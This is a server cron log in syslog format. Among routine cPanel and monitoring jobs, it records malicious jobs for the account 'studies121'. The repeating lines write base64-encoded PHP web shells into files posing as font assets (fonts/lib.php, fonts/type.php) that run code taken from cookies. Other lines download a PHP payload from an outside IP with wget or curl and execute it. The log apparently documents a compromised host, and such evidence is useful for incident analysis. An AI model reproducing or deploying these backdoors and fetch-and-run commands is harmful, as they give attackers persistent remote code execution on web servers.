Sep  5 16:01:02 ip-184-168-122-23 CROND[15076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:01:02 ip-184-168-122-23 CROND[15078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15070]: starting 0anacron
Sep  5 16:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[15090]: finished 0anacron
Sep  5 16:02:01 ip-184-168-122-23 CROND[15180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:02:01 ip-184-168-122-23 CROND[15179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:02:01 ip-184-168-122-23 CROND[15182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:02:01 ip-184-168-122-23 CROND[15178]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:02:01 ip-184-168-122-23 CROND[15181]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:03:01 ip-184-168-122-23 CROND[15265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:03:01 ip-184-168-122-23 CROND[15266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:03:01 ip-184-168-122-23 CROND[15267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:03:01 ip-184-168-122-23 CROND[15268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:04:02 ip-184-168-122-23 CROND[15349]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:04:02 ip-184-168-122-23 CROND[15351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:04:02 ip-184-168-122-23 CROND[15350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:04:02 ip-184-168-122-23 CROND[15352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:04:02 ip-184-168-122-23 CROND[15353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:05:01 ip-184-168-122-23 CROND[15446]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:05:01 ip-184-168-122-23 CROND[15453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:05:01 ip-184-168-122-23 CROND[15450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:05:01 ip-184-168-122-23 CROND[15448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:05:01 ip-184-168-122-23 CROND[15451]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:05:01 ip-184-168-122-23 CROND[15449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:05:01 ip-184-168-122-23 CROND[15452]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 16:06:01 ip-184-168-122-23 CROND[15628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:06:01 ip-184-168-122-23 CROND[15627]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:06:01 ip-184-168-122-23 CROND[15626]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:06:01 ip-184-168-122-23 CROND[15629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:06:01 ip-184-168-122-23 CROND[15630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:07:01 ip-184-168-122-23 CROND[15731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:07:01 ip-184-168-122-23 CROND[15730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:07:01 ip-184-168-122-23 CROND[15732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:07:01 ip-184-168-122-23 CROND[15733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:08:01 ip-184-168-122-23 CROND[15811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:08:01 ip-184-168-122-23 CROND[15812]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:08:01 ip-184-168-122-23 CROND[15813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:08:01 ip-184-168-122-23 CROND[15814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:08:01 ip-184-168-122-23 CROND[15815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:09:01 ip-184-168-122-23 CROND[15913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:09:01 ip-184-168-122-23 CROND[15917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:09:01 ip-184-168-122-23 CROND[15916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:09:01 ip-184-168-122-23 CROND[15915]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:09:01 ip-184-168-122-23 CROND[15918]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 16:10:01 ip-184-168-122-23 CROND[16026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:10:01 ip-184-168-122-23 CROND[16025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:10:01 ip-184-168-122-23 CROND[16027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:10:01 ip-184-168-122-23 CROND[16029]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:10:01 ip-184-168-122-23 CROND[16032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 16:10:01 ip-184-168-122-23 CROND[16028]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 16:10:01 ip-184-168-122-23 CROND[16030]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 16:10:01 ip-184-168-122-23 CROND[16031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:11:01 ip-184-168-122-23 CROND[16134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:11:01 ip-184-168-122-23 CROND[16135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:11:01 ip-184-168-122-23 CROND[16136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:11:01 ip-184-168-122-23 CROND[16139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:12:01 ip-184-168-122-23 CROND[16222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 16:12:01 ip-184-168-122-23 CROND[16221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 16:12:01 ip-184-168-122-23 CROND[16220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:12:01 ip-184-168-122-23 CROND[16223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 16:12:01 ip-184-168-122-23 CROND[16224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 16:13:02 ip-184-168-122-23 CROND[16342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 16:13:02 ip-184-168-122-23 CROND[16344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
